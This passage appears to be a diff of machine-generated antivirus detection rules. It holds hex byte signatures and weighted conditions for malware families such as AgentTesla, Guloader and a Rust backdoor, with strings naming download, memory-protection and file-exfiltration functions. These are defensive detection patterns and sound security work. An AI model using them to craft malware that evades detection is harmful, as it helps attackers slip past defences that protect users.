00 13 01 73 72 63 5c 63 68 61 6e 67 65 62 61 63 6b 75 70 2e 72 73 01 00 11 01 73 72 63 5c 73 63 72 65 65 6e 73 68 6f 74 2e 72 73 01 00 0f 01 73 72 63 5c 74 61 73 6b 6c 69 73 74 2e 72 73 01 00 12 01 73 72 63 5c 75 70 6c 6f 61 64 } //0 - $a_6c_5 = {2e 72 73 01 00 12 01 73 72 63 5c 64 6e 73 68 6f 73 74 6e 61 6d 65 2e 72 73 01 00 13 01 73 72 63 5c 64 6f 77 6e 6c 6f 61 64 66 69 6c 65 2e 72 73 01 00 0f 01 73 72 63 5c 69 70 63 6f 6e 66 69 67 2e 72 73 01 00 12 01 73 72 63 5c 6b 69 6c 6c 70 72 6f 67 72 61 6d 2e 72 73 01 00 11 01 73 72 63 5c 72 75 6e 63 6f 6d 6d 61 } //26207 - $a_72_6 = {00 00 78 ec 00 00 05 00 05 00 09 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 57 69 7a 7a 72 65 6d 2e 41 31 00 02 00 18 01 5c 73 61 6d 69 } //25710 + $a_ec_4 = {00 05 00 05 00 09 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 57 69 7a 7a 72 65 6d 2e 41 31 00 02 00 18 01 5c 73 61 6d 69 5c 44 65 73 6b 74 6f 70 5c 43 6f 6d 70 75 74 65 72 41 41 02 00 25 01 43 6f 6d 70 75 74 65 72 41 41 5c 6f 62 6a 5c 52 65 6c 65 61 73 65 5c 43 6f 6d 70 75 74 65 72 41 41 2e 70 64 62 02 00 12 01 56 49 4b 65 79 00 53 61 6c 74 4b 65 79 00 6b } //0 + $a_43_6 = {65 } //3840 e condition: - ((#a_46_0 & 1)*16675+(#a_78_1 & 1)*-32742+(#a_62_2 & 1)*29813+(#a_80_3 & 1)*-100+(#a_ec_4 & 1)*0+(#a_6c_5 & 1)*26207+(#a_72_6 & 1)*25710) >=5 + ((#a_46_0 & 1)*16675+(#a_78_1 & 1)*-32742+(#a_62_2 & 1)*29813+(#a_80_3 & 1)*-100+(#a_ec_4 & 1)*0+(#a_43_6 & 1)*3840) >=5 } -rule _InfrastructureShared_15432{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 09 00 21 " - - strings : - $a_46_0 = {42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 43 6f 69 6e 46 6c 69 70 2e 41 21 64 68 61 00 01 00 13 01 73 72 63 5c 63 68 61 6e 67 65 62 61 63 6b 75 70 2e 72 73 01 00 11 01 73 72 63 5c 73 63 72 65 65 6e 73 68 6f 74 2e 72 73 01 00 } //16675 - $a_72_1 = {5c 74 61 73 6b 6c 69 73 74 2e 72 73 01 00 12 01 73 72 63 5c 75 70 6c 6f 61 64 5f 66 69 6c 65 2e 72 73 01 00 12 01 73 72 63 5c 64 6e 73 68 6f 73 74 6e 61 6d 65 2e 72 73 01 00 13 01 73 72 63 5c 64 6f 77 6e 6c 6f 61 64 66 69 6c 65 2e 72 73 01 00 0f 01 73 72 63 5c 69 70 63 6f 6e 66 69 67 2e 72 73 01 00 12 01 73 72 63 5c 6b 69 6c 6c 70 72 6f 67 72 } //271 - $a_72_2 = {01 00 11 01 73 72 63 5c 72 75 6e 63 6f 6d 6d 61 6e 64 2e 72 73 00 00 78 ec 00 00 05 00 05 00 09 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 } //28001 - $a_7a_3 = {72 65 6d 2e 41 31 00 02 00 18 01 5c 73 61 6d 69 5c 44 65 73 6b 74 6f 70 5c 43 6f 6d 70 75 74 65 72 41 41 02 00 25 01 43 6f 6d 70 75 74 65 72 41 41 5c 6f 62 6a 5c 52 65 6c 65 61 73 65 5c 43 6f 6d 70 75 74 65 72 41 41 2e 70 64 62 02 00 12 01 56 49 4b 65 79 00 53 61 6c 74 4b 65 79 00 6b 65 79 00 01 00 0f 01 43 72 65 } //22330 - $a_44_4 = {63 72 79 70 74 6f 72 01 00 0c 01 50 61 73 73 77 6f 72 64 48 61 73 68 01 00 0d 01 65 6e 63 72 79 70 74 65 64 54 65 78 74 9c ff 12 01 4b 6f 6e 67 73 62 65 72 67 20 4d 61 72 69 74 69 6d 65 9c ff 10 01 43 4b 4d 6f 62 69 6c 65 2e 55 57 50 2e 70 64 62 9c ff 0e 01 4b 4d 54 65 73 74 2e 55 57 50 2e 70 64 62 00 } //29793 - $a_00_5 = {00 05 00 05 00 09 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 41 21 4d 54 42 00 01 00 12 01 46 59 44 4b 42 70 53 47 73 48 57 30 48 45 73 64 46 62 01 00 12 01 67 30 4c 49 65 31 58 77 70 64 33 45 47 75 4b 53 74 55 01 00 12 01 46 47 49 5a 30 66 4b 39 74 62 32 44 51 34 63 42 4c 65 01 00 12 01 42 34 36 6f 67 6f 34 47 70 66 64 4e 54 67 6d 39 4c 4c 01 00 12 01 6a 69 43 4b 4a 4d 42 59 68 34 57 69 73 61 30 33 76 48 01 00 12 01 6e 73 42 4f 63 68 54 72 71 66 79 38 65 44 72 31 72 37 01 00 12 01 7a 68 72 6d 6e 49 69 4b 79 71 4c 55 75 72 69 59 5a 61 01 00 12 01 6c 6d 74 78 67 6b 36 44 5a 41 34 39 34 50 44 4a 4b 30 01 00 12 01 42 6b 53 59 51 51 6b 66 39 63 61 6e 34 38 72 58 67 70 00 } //30720 - $a_00_6 = {00 06 00 06 00 05 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 2f 45 71 75 61 74 69 6f 6e 47 72 6f 75 70 5f 54 6f 6f 6c 73 65 74 5f 41 70 72 31 37 5f 4b 69 73 75 43 6f 6d 6d 73 5f 54 61 00 03 00 31 03 33 36 33 3c 33 53 33 63 33 6c 33 71 33 76 33 7b 33 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 03 00 31 03 33 21 33 25 33 29 33 2d 33 31 33 35 33 39 33 40 35 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 02 00 10 01 eb 03 89 46 54 47 83 ff 1a 0f 8c 40 ff ff ff 8b 02 00 10 01 8b 46 04 85 c0 74 0f 50 e8 34 fb ff ff 83 66 04 02 00 10 01 c6 45 fc 02 8d 8d 44 ff ff ff e8 d2 2f 00 00 eb 00 } //30720 - $a_00_7 = {00 06 00 06 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 34 31 39 21 4d 54 42 00 01 00 31 01 51 00 75 00 61 00 6e 00 4c 00 79 00 4e 00 68 00 61 00 44 00 61 00 74 00 2e 00 50 00 69 00 6e 00 6b 00 00 0f 53 00 74 00 72 00 69 00 6e 00 67 00 31 01 00 2b 81 01 51 75 61 6e 4c 79 4e 68 61 44 61 74 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 06 81 01 53 70 6c 69 74 00 01 00 07 81 01 54 6f 42 79 74 65 00 01 00 10 81 01 47 65 74 45 78 70 6f 72 74 65 64 54 79 70 65 73 01 00 25 81 01 24 34 35 62 31 65 62 65 34 2d 37 33 61 34 2d 34 34 32 66 2d 38 32 38 66 2d 37 31 62 35 31 39 64 66 32 37 30 61 00 } //30720 - $a_00_8 = {00 07 00 07 00 07 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 51 33 32 21 4d 54 42 00 01 00 0f 81 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 01 00 0e 81 01 44 65 62 75 67 67 69 6e 67 4d 6f 64 65 73 01 00 1e 81 01 43 6f 6e 66 75 73 65 72 2e 43 6f 72 65 20 31 2e 36 2e 30 2b 34 34 37 33 34 31 39 36 34 66 01 00 13 81 01 54 72 61 6e 73 66 6f 72 6d 46 69 6e 61 6c 42 6c 6f 63 6b 01 00 09 81 01 67 65 74 5f 43 68 61 72 73 01 00 21 81 01 63 32 30 30 62 30 33 63 33 32 66 62 65 65 36 61 32 35 38 34 62 31 34 32 64 37 33 38 64 38 38 32 30 01 00 21 81 01 63 31 36 38 33 65 64 36 61 36 38 62 35 38 63 36 34 66 37 33 34 32 31 62 64 31 65 35 30 34 31 32 30 00 } //30720 - condition: - ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*271+(#a_72_2 & 1)*28001+(#a_7a_3 & 1)*22330+(#a_44_4 & 1)*29793+(#a_00_5 & 1)*30720+(#a_00_6 & 1)*30720+(#a_00_7 & 1)*30720+(#a_00_8 & 1)*30720) >=5 - -} -rule _InfrastructureShared_15433{ +rule _InfrastructureShared_16445{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 09 00 21 " @@ -179125,7 +191102,7 @@ rule _InfrastructureShared_15433{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*28781+(#a_70_2 & 1)*20567+(#a_65_3 & 1)*29806+(#a_47_4 & 1)*28519+(#a_6d_6 & 1)*26746+(#a_5f_7 & 1)*12658+(#a_2d_8 & 1)*31277) >=5 } -rule _InfrastructureShared_15434{ +rule _InfrastructureShared_16446{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 09 00 21 " @@ -179143,7 +191120,7 @@ rule _InfrastructureShared_15434{ ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*20804+(#a_68_2 & 1)*20290+(#a_72_3 & 1)*27718+(#a_33_4 & 1)*13101+(#a_40_5 & 1)*3866+(#a_00_6 & 1)*114+(#a_62_7 & 1)*12642+(#a_81_8 & 1)*1) >=5 } -rule _InfrastructureShared_15435{ +rule _InfrastructureShared_16447{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 21 " @@ -179157,7 +191134,7 @@ rule _InfrastructureShared_15435{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-28621+(#a_00_2 & 1)*14637+(#a_6e_3 & 1)*26433+(#a_72_4 & 1)*28531) >=6 } -rule _InfrastructureShared_15436{ +rule _InfrastructureShared_16448{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -179172,7 +191149,7 @@ rule _InfrastructureShared_15436{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*110+(#a_34_2 & 1)*25189+(#a_44_3 & 1)*-32498+(#a_69_4 & 1)*26485+(#a_34_5 & 1)*25140) >=6 } -rule _InfrastructureShared_15437{ +rule _InfrastructureShared_16449{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -179188,7 +191165,7 @@ rule _InfrastructureShared_15437{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*385+(#a_63_2 & 1)*-32479+(#a_33_3 & 1)*25136+(#a_32_4 & 1)*13111+(#a_44_5 & 1)*19777+(#a_01_6 & 1)*14592) >=7 } -rule _InfrastructureShared_15438{ +rule _InfrastructureShared_16450{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -179204,7 +191181,7 @@ rule _InfrastructureShared_15438{ ((#a_54_0 & 1)*18467+(#a_47_1 & 1)*21076+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_ec_6 & 1)*0) >=7 } -rule _InfrastructureShared_15439{ +rule _InfrastructureShared_16451{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -179214,29 +191191,45 @@ rule _InfrastructureShared_15439{ $a_68_2 = {68 68 68 68 68 68 64 66 66 73 64 66 01 00 0e 81 01 61 64 73 73 73 73 73 73 73 73 73 73 73 61 01 00 09 81 01 42 6c 6f 63 6b 43 6f 70 79 00 00 78 ec 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 58 58 5a 31 32 33 21 4d 54 42 00 01 00 24 81 01 50 75 62 6c 69 63 20 53 } //26728 $a_69_3 = {65 20 45 6e 74 65 72 70 72 69 73 65 20 47 72 6f 75 70 20 49 6e 63 2e 01 00 0f 81 01 55 47 49 20 43 6f 72 70 6f 72 61 74 69 6f 6e 01 00 21 81 01 45 6e 74 65 72 70 72 69 73 65 20 50 72 6f 64 75 63 74 73 20 50 61 72 74 6e 65 72 73 20 4c 2e 50 2e 01 00 15 81 01 41 6c 6c 65 67 68 61 6e 79 20 43 6f 72 70 6f 72 61 74 69 6f 6e 01 00 11 81 01 4a 6f 68 6e 73 6f } //29285 $a_20_4 = {6f 68 6e 73 6f 6e 01 00 15 81 01 73 6c 61 6d 6d 65 6e 20 65 6e 64 70 6f 69 6e 74 73 2e 65 78 65 01 00 10 81 01 44 } //8302 - $a_20_5 = {6e 65 72 67 79 20 43 6f 72 70 00 00 78 ec 00 00 07 00 07 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 44 21 4d 54 42 00 01 00 0c 80 01 44 6f 77 6e 6c 6f 61 64 44 61 74 61 01 00 05 80 01 53 6c 65 65 70 01 00 0c 80 01 49 6e 76 6f 6b 65 4d 65 6d } //27509 - $a_01_6 = {00 06 80 01 42 69 6e 64 65 72 01 00 13 80 01 67 65 74 5f 52 65 73 6f 75 72 63 65 4d 61 6e 61 67 65 72 01 00 08 80 01 47 65 74 42 79 74 65 73 01 00 0c 80 01 42 69 6e 64 69 6e 67 46 6c 61 67 73 01 00 2b 80 01 4e 66 69 68 76 6a 7a 68 69 7a 77 65 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 } //25954 + $a_20_5 = {6e 65 72 67 79 20 43 6f 72 70 00 00 78 ec 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 4f 62 66 75 73 65 2e 50 52 21 41 4d 54 42 00 01 00 19 81 01 44 69 73 61 62 6c 65 54 68 72 65 61 64 4c 69 62 72 61 72 79 43 61 6c 6c 73 01 00 0e 81 01 56 69 72 74 75 61 6c 50 72 6f 74 65 63 74 01 00 } //27509 + $a_52_6 = {67 } //-32496 g condition: - ((#a_54_0 & 1)*18467+(#a_67_1 & 1)*20275+(#a_68_2 & 1)*26728+(#a_69_3 & 1)*29285+(#a_20_4 & 1)*8302+(#a_20_5 & 1)*27509+(#a_01_6 & 1)*25954) >=7 + ((#a_54_0 & 1)*18467+(#a_67_1 & 1)*20275+(#a_68_2 & 1)*26728+(#a_69_3 & 1)*29285+(#a_20_4 & 1)*8302+(#a_20_5 & 1)*27509+(#a_52_6 & 1)*-32496) >=7 } -rule _InfrastructureShared_15440{ +rule _InfrastructureShared_16452{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 58 58 5a 31 32 33 21 4d 54 42 00 01 00 24 81 01 50 75 62 6c 69 63 20 53 65 72 76 69 63 65 20 45 6e 74 65 72 70 72 69 73 65 20 47 72 6f 75 70 20 49 6e 63 2e 01 00 0f 81 01 55 47 49 20 43 6f 72 70 6f } //18467 $a_69_1 = {6e 01 00 21 81 01 45 6e 74 65 72 70 72 69 73 65 20 50 72 6f 64 75 63 74 73 20 50 61 72 74 6e 65 72 73 20 4c 2e 50 2e 01 00 15 81 01 41 6c 6c 65 67 68 61 6e 79 20 43 6f 72 70 6f 72 61 74 69 6f 6e 01 00 11 81 01 4a 6f 68 6e 73 6f 6e 20 26 20 4a 6f 68 6e 73 6f 6e 01 00 15 81 01 73 6c 61 6d 6d 65 6e 20 65 6e 64 70 6f 69 6e 74 73 2e 65 78 65 01 00 10 } //24946 - $a_75_2 = {65 20 45 6e 65 72 67 79 20 43 6f 72 70 00 00 78 ec 00 00 07 00 07 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 44 21 4d 54 42 00 01 00 0c 80 01 } //385 - $a_6e_3 = {6f 61 64 44 61 74 61 01 00 05 80 01 53 6c 65 65 70 01 00 0c 80 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 01 00 06 80 01 42 69 6e 64 65 72 01 00 13 80 01 67 65 74 5f 52 65 73 6f 75 72 63 65 4d 61 6e 61 67 65 72 01 00 08 80 01 47 65 74 42 79 74 65 73 01 00 0c 80 01 42 69 6e 64 69 6e 67 46 6c 61 67 73 01 00 2b 80 01 4e 66 69 68 76 6a 7a 68 69 7a 77 65 2e 50 72 } //28484 - $a_72_4 = {69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 0a 80 01 4c 5a 58 6f 42 6c 53 48 4b 6e 01 00 0d 80 01 45 65 64 78 74 7a 69 7a 6b 61 75 76 71 00 00 78 ec 00 00 08 00 08 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4b 4d } //28783 - $a_21_5 = {54 42 00 03 00 46 03 06 72 d6 04 00 70 6f 90 02 02 00 00 0a 74 90 02 02 00 00 01 72 dc 04 00 70 72 e0 04 00 70 6f 90 02 02 00 00 0a 17 8d 90 02 02 00 00 01 25 } //12340 - $a_9d_6 = {90 02 02 00 00 0a 0b 07 8e 69 8d 90 02 02 00 00 01 90 00 01 00 1b 01 72 61 64 61 72 73 79 73 74 65 6d 2e 46 6f 72 6d 31 2e 72 65 73 6f } //7958 + $a_75_2 = {65 20 45 6e 65 72 67 79 20 43 6f 72 70 00 00 78 ec 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 4f 62 66 75 73 65 2e 50 52 21 41 4d 54 42 00 01 00 19 81 01 44 69 73 61 62 6c 65 54 68 72 } //385 + $a_4c_3 = {62 72 61 72 79 43 61 6c 6c 73 01 00 0e 81 01 56 69 72 74 75 61 6c 50 72 6f 74 65 63 74 01 00 10 81 01 52 65 67 4f 72 67 61 6e 69 7a 65 72 2e 65 78 65 01 00 1f 81 01 43 3a 5c 57 49 4e 44 4f 57 53 5c 53 59 53 54 45 4d 33 32 5c 76 65 72 73 69 6f 6e 2e 64 6c 6c 01 00 3c 81 01 57 41 52 45 5a 44 2d 4f 57 } //24933 + $a_52_4 = {46 4f 52 55 4d 52 2d 55 42 4f 41 52 44 2d 43 4f 4d 49 4e 43 2d 52 41 43 4b 57 45 2d 54 52 55 53 54 57 2d 41 52 45 5a 44 4f 2d 57 4e 57 44 01 00 0a 81 01 57 61 72 65 7a 5f 44 6f 77 6e 01 00 09 81 01 50 72 6f 78 79 20 44 4c 4c 00 00 78 ec } //17998 + $a_00_5 = {07 00 0a 00 21 23 48 } //0 + $a_3a_6 = {72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 44 21 4d 54 42 00 01 00 0c 80 01 44 6f 77 6e 6c 6f 61 64 44 61 74 61 01 00 05 80 01 53 6c 65 65 70 01 00 0c 80 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 01 00 06 80 01 42 69 6e } //21587 condition: - ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*24946+(#a_75_2 & 1)*385+(#a_6e_3 & 1)*28484+(#a_72_4 & 1)*28783+(#a_21_5 & 1)*12340+(#a_9d_6 & 1)*7958) >=7 + ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*24946+(#a_75_2 & 1)*385+(#a_4c_3 & 1)*24933+(#a_52_4 & 1)*17998+(#a_00_5 & 1)*0+(#a_3a_6 & 1)*21587) >=7 } -rule _InfrastructureShared_15441{ +rule _InfrastructureShared_16453{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 4f 62 66 75 73 65 2e 50 52 21 41 4d 54 42 00 01 00 19 81 01 44 69 73 61 62 6c 65 54 68 72 65 61 64 4c 69 62 72 61 72 79 43 61 6c 6c 73 01 00 0e 81 01 56 69 72 74 75 61 6c 50 72 6f 74 65 63 74 01 00 10 81 01 52 65 67 4f 72 67 61 } //18467 + $a_65_1 = {2e 65 78 65 01 00 1f 81 01 43 3a 5c 57 49 4e 44 4f 57 53 5c 53 59 53 54 45 4d 33 32 5c 76 65 72 73 69 6f 6e 2e 64 6c 6c 01 00 3c 81 01 57 41 52 45 5a 44 2d 4f 57 4e 46 4f 52 2d 46 4f 52 55 4d 52 2d 55 42 4f 41 52 44 2d 43 4f 4d 49 4e 43 2d 52 41 43 4b 57 45 2d 54 52 55 53 54 57 2d 41 52 45 5a 44 4f 2d 57 4e 57 44 01 00 0a 81 01 57 61 72 65 7a 5f 44 6f 77 6e 01 00 } //26990 + $a_50_2 = {6f } //-32503 o + $a_44_3 = {4c 00 00 78 ec 00 00 07 00 07 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f } //31096 + $a_6e_4 = {54 65 73 6c 61 2e 53 4d 44 21 4d 54 42 00 01 00 0c 80 01 44 6f 77 6e 6c 6f 61 64 44 61 74 61 01 00 05 80 01 53 6c 65 65 70 01 00 0c 80 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 01 00 06 80 01 42 69 6e 64 65 72 01 00 13 80 01 67 65 74 5f 52 65 73 6f 75 72 63 65 4d 61 6e 61 67 65 72 01 00 08 80 01 47 65 74 } //26433 + $a_65_5 = {01 00 0c 80 01 42 69 6e 64 69 6e 67 46 6c 61 67 73 01 00 2b 80 01 4e 66 69 68 76 6a 7a 68 69 7a 77 65 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 0a 80 01 4c 5a 58 6f 42 6c 53 48 4b 6e 01 00 0d 80 01 45 65 64 78 74 7a 69 7a 6b 61 75 76 71 00 00 78 ec 00 00 08 00 08 00 06 00 21 23 48 53 54 52 } //31042 + $a_6f_6 = {61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4b 4d 34 30 35 21 4d 54 42 00 03 00 46 03 06 72 d6 04 00 70 6f 90 02 02 00 00 0a 74 90 02 02 00 00 01 72 dc 04 00 70 72 e0 04 00 70 6f 90 02 02 00 00 0a 17 8d 90 02 02 00 00 01 25 16 1f 2d 9d 6f 90 02 02 00 00 0a 0b 07 8e 69 8d 90 02 02 00 00 01 90 00 01 00 1b 01 72 61 64 61 72 73 } //21562 + condition: + ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*26990+(#a_50_2 & 1)*-32503+(#a_44_3 & 1)*31096+(#a_6e_4 & 1)*26433+(#a_65_5 & 1)*31042+(#a_6f_6 & 1)*21562) >=7 + +} +rule _InfrastructureShared_16454{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 0a 00 21 " @@ -179255,7 +191248,7 @@ rule _InfrastructureShared_15441{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*25710+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_ec_4 & 1)*0+(#a_00_5 & 1)*144+(#a_64_6 & 1)*29185+(#a_70_7 & 1)*20993+(#a_31_8 & 1)*29779+(#a_78_9 & 1)*20596) >=7 } -rule _InfrastructureShared_15442{ +rule _InfrastructureShared_16455{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 06 00 21 " @@ -179270,7 +191263,7 @@ rule _InfrastructureShared_15442{ ((#a_54_0 & 1)*18467+(#a_1f_1 & 1)*9473+(#a_72_2 & 1)*6912+(#a_79_3 & 1)*29281+(#a_52_4 & 1)*21320+(#a_43_5 & 1)*21091) >=8 } -rule _InfrastructureShared_15443{ +rule _InfrastructureShared_16456{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -179287,7 +191280,7 @@ rule _InfrastructureShared_15443{ ((#a_54_0 & 1)*18467+(#a_52_1 & 1)*29745+(#a_74_2 & 1)*18177+(#a_6f_3 & 1)*27502+(#a_75_5 & 1)*3584+(#a_6e_6 & 1)*28526+(#a_73_7 & 1)*25458+(#a_70_8 & 1)*25459) >=9 } -rule _InfrastructureShared_15444{ +rule _InfrastructureShared_16457{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -179305,7 +191298,7 @@ rule _InfrastructureShared_15444{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_03_2 & 1)*1+(#a_01_3 & 1)*1+(#a_00_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_ec_8 & 1)*0) >=9 } -rule _InfrastructureShared_15445{ +rule _InfrastructureShared_16458{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -179323,7 +191316,7 @@ rule _InfrastructureShared_15445{ ((#a_4c_0 & 1)*21539+(#a_74_1 & 1)*384+(#a_00_2 & 1)*25955+(#a_6f_3 & 1)*384+(#a_53_4 & 1)*14930+(#a_72_5 & 1)*17409+(#a_69_6 & 1)*29285+(#a_54_7 & 1)*8524+(#a_6f_8 & 1)*384) >=9 } -rule _InfrastructureShared_15446{ +rule _InfrastructureShared_16459{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 07 00 21 " @@ -179338,7 +191331,7 @@ rule _InfrastructureShared_15446{ ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*29289+(#a_72_2 & 1)*26980+(#a_65_3 & 1)*29285+(#a_54_4 & 1)*22273+(#a_6c_5 & 1)*25940) >=11 } -rule _InfrastructureShared_15447{ +rule _InfrastructureShared_16460{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -179358,7 +191351,7 @@ rule _InfrastructureShared_15447{ ((#a_4c_0 & 1)*21539+(#a_65_1 & 1)*384+(#a_72_2 & 1)*26214+(#a_44_3 & 1)*29285+(#a_01_4 & 1)*2048+(#a_6f_5 & 1)*2820+(#a_0d_6 & 1)*400+(#a_11_7 & 1)*30+(#a_28_8 & 1)*7940+(#a_2d_9 & 1)*4360+(#a_16_10 & 1)*400) >=11 } -rule _InfrastructureShared_15448{ +rule _InfrastructureShared_16461{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -179379,7 +191372,7 @@ rule _InfrastructureShared_15448{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*18177+(#a_00_2 & 1)*21087+(#a_6f_3 & 1)*385+(#a_90_4 & 1)*-23952+(#a_5a_5 & 1)*1809+(#a_2d_6 & 1)*4360+(#a_16_7 & 1)*400+(#a_03_8 & 1)*-28558+(#a_90_9 & 1)*5912+(#a_03_10 & 1)*-28558+(#a_90_11 & 1)*6936) >=12 } -rule _InfrastructureShared_15449{ +rule _InfrastructureShared_16462{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 03 00 21 " @@ -179391,22 +191384,37 @@ rule _InfrastructureShared_15449{ ((#a_54_0 & 1)*18467+(#a_07_1 & 1)*2304+(#a_17_2 & 1)*4352) >=14 } -rule _InfrastructureShared_15450{ +rule _InfrastructureShared_16463{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 07 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 56 49 32 38 21 4d 54 42 00 0a 00 3d 02 0b 07 16 06 a2 d0 90 01 04 28 90 01 04 72 90 01 03 70 18 1b 8d 90 01 04 25 16 72 90 01 03 70 a2 25 17 20 00 01 00 00 8c 90 01 04 a2 25 1a } //18467 $a_90_1 = {04 0c 08 0d 2b 00 09 2a 90 00 01 00 13 80 01 46 72 6f 6d 42 61 73 65 36 34 43 68 61 72 41 72 72 61 79 01 00 0c 80 01 46 } //-24057 - $a_74_2 = {6f 6e 49 6e 69 74 01 00 13 80 01 67 65 74 5f 4f 66 66 73 65 74 4d 61 72 73 68 61 6c 65 72 01 00 11 80 01 67 65 74 5f 52 65 74 75 72 6e 4d 65 73 73 61 67 65 01 00 16 80 01 52 65 73 6f 75 72 63 65 5f 4d 65 74 65 72 2e 43 68 65 63 6b 65 72 01 00 05 80 01 53 70 6c 69 74 00 00 78 ec 00 00 17 00 17 00 } //28277 - $a_23_3 = {53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 48 4c 21 4d } //5 STR:Trojan:MSIL/AgentTesla.OXHL!M - $a_20_5 = {10 00 } //18176 - $a_01_6 = 